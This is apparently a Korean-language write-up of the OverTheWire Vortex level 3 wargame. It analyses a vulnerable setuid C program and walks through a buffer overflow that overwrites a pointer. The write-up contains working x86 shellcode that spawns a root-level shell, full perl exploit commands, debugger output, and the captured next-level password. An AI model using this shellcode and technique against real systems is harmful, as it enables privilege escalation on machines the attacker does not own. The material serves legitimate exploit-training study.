Vortex Level 3 → Level 4
A Stack Overflow with a Difference
This level is pretty straight forward. Just sit down and understand what the code is doing. Your shellcode will require a setuid(LEVEL4_UID) since bash drops effective privileges. You could alternatively write a quick setuid(geteuid()) wrapper around bash.
NOTE: ctors/dtors might no longer be writable, although this level is compiled with -Wl,-z,norelro. Lookup some information about this e.g. here
Reading Material
/*
* 0xbadc0ded.org Challenge #02 (2003-07-08)
*
* Joel Eriksson <je@0xbadc0ded.org>
*/
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
unsigned long val = 31337;
unsigned long *lp = &val;
int main(int argc, char **argv)
{
unsigned long **lpp = &lp, *tmp;
char buf[128];
if (argc != 2)
exit(1);
strcpy(buf, argv[1]);
if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
exit(2);
tmp = *lpp;
**lpp = (unsigned long) &buf;
// *lpp = tmp; // Fix suggested by Michael Weissbacher @mweissbacher 2013-06-30
exit(0);
}
소스를 한번 분석해보자.
일단
unsigned long val = 31337;
unsigned long *lp = &val;
요 두놈은 초기화된 전역변수로서 .data영역에 할당될것이다.
unsigned long **lpp = &lp, *tmp;
char buf[128];
main의 지역변수로써, lpp는 lp를 가리키는 이중포인터이고 long변수를 가리킬 포인터 tmp를 하나 선언햇다.
문자열배열 buf도 선언했다.
그리고 argc가 2개있는지 검사하고, buf에 strcpy로 argv[1]의 값을 복사한다. 이부분에서 취약점이 발생한다.
if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
exit(2);
윗부분은 lpp 즉, &lp의 주소의 앞의 2바이트가 0804인지 확인한다.
그러니까 lpp가 0804말고 다른쪽주소 , 스택같은 주소로 변조되면 안된다.
tmp = *lpp;
**lpp = (unsigned long) &buf;
이부분은 tmp에 *lpp가 들어가는데 lpp는 &lp이고 lp에는 &val가 들어가있으니까
tmp에 &val이 들어간다.
그다음줄은 **lpp에 &buf를 넣는데 **lpp는 31337이 저장되 있는 val을 가르킨다. 그러므로 val에 &buf를 넣는다.
마지막에는 exit(0)이 나오는데 이것때메 메인함수에 ret이 없어 일반적인 BOF는 안되고,
**lpp = (unsigned long) &buf;을 이용해서
eip를 &buf의 주소로 바꿀수있다면 buf에 쉘코드를 넣기만하면 자동으로 쉘코드가 실행될것이다.
스택에 실행권한이 있는지 확인해 보았다.
vortex3@melinda:/games/vortex$ readelf -l vortex3
Elf file type is EXEC (Executable file)
Entry point 0x8048340
There are 8 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4
INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00644 0x00644 R E 0x1000
LOAD 0x000644 0x08049644 0x08049644 0x0010c 0x00114 RW 0x1000
DYNAMIC 0x000658 0x08049658 0x08049658 0x000c8 0x000c8 RW 0x4
NOTE 0x000148 0x08048148 0x08048148 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x000550 0x08048550 0x08048550 0x00034 0x00034 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
처음시도한 공격은 .dtors를 덮어씌우기를 시도했다.
일단 이중포인터이기 때문에 dtors의 주소를 가지고있는 부분을 찾아야한다.
gdb를 이용해 검색해보았다.
vortex3@melinda:/games/vortex$ gdb -q vortex3
Reading symbols from /games/vortex/vortex3...(no debugging symbols found)...done.
(gdb) quit
vortex3@melinda:/games/vortex$ objdump -h vortex3
vortex3: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 08048134 08048134 00000134 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 08048148 08048148 00000148 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.gnu.build-id 00000024 08048168 08048168 00000168 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .gnu.hash 00000020 0804818c 0804818c 0000018c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .dynsym 00000060 080481ac 080481ac 000001ac 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynstr 00000051 0804820c 0804820c 0000020c 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .gnu.version 0000000c 0804825e 0804825e 0000025e 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version_r 00000020 0804826c 0804826c 0000026c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .rel.dyn 00000008 0804828c 0804828c 0000028c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rel.plt 00000020 08048294 08048294 00000294 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .init 0000002e 080482b4 080482b4 000002b4 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .plt 00000050 080482f0 080482f0 000002f0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .text 000001ec 08048340 08048340 00000340 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .fini 0000001a 0804852c 0804852c 0000052c 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .rodata 00000008 08048548 08048548 00000548 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
15 .eh_frame_hdr 00000034 08048550 08048550 00000550 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame 000000c0 08048584 08048584 00000584 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .ctors 00000008 08049644 08049644 00000644 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .dtors 00000008 0804964c 0804964c 0000064c 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .jcr 00000004 08049654 08049654 00000654 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 000000c8 08049658 08049658 00000658 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .got 00000004 08049720 08049720 00000720 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .got.plt 0000001c 08049724 08049724 00000724 2**2
CONTENTS, ALLOC, LOAD, DATA
23 .data 00000010 08049740 08049740 00000740 2**2
CONTENTS, ALLOC, LOAD, DATA
24 .bss 00000008 08049750 08049750 00000750 2**2
ALLOC
25 .comment 0000002a 00000000 00000000 00000750 2**0
CONTENTS, READONLY
vortex3@melinda:/games/vortex$ gdb -q vortex3
Reading symbols from /games/vortex/vortex3...(no debugging symbols found)...done.
(gdb) set $x=0x08048340
(gdb) while(*++$x!=0x08049650)
>end
(gdb) x/wx $x
0x8048386 <__do_global_dtors_aux+22>: 0x08049650
(gdb)
.text영역을 시작주소로 우리가 덮어씌울 주소인 .dtors+4주소를 검색하니 다행이 검색이 되었다.
그럼 0x8048386이 주소를 lpp에 덮어씌워주면 될것이다.
[+]payload작성
buf는 esp+0x18에 위치하고 lpp는 esp+0x9c에 위치해있다.
두 주소의 차이는 0x84 = 132만큼 차이나고 다음과 같이 payload를 구성할 것이다.
[shellcode 61byte]['a'*71][0x8048386]
./vortex3 `perl -e'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68","a"x71,"\x86\x83\x04\x08"'`
[+]공격
vortex3@melinda:/games/vortex$ ./vortex3 `perl -e'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68","a"x71,"\x86\x83\x04\x08"'`
vortex3@melinda:/games/vortex$
[+]payload작성
[shellcode 61byte]['a'*71][0x8048322]
./vortex3 `perl -e'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68","a"x71,"\x22\x83\x04\x08"'`
[+]공격
vortex3@melinda:/games/vortex$ ./vortex3 `perl -e'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68","a"x71,"\x22\x83\x04\x08"'`
$ id
uid=5004(vortex4) gid=5003(vortex3) groups=5004(vortex4),5003(vortex3)
$ cat /etc/vortex_pass/vortex4
2YmgK1=jw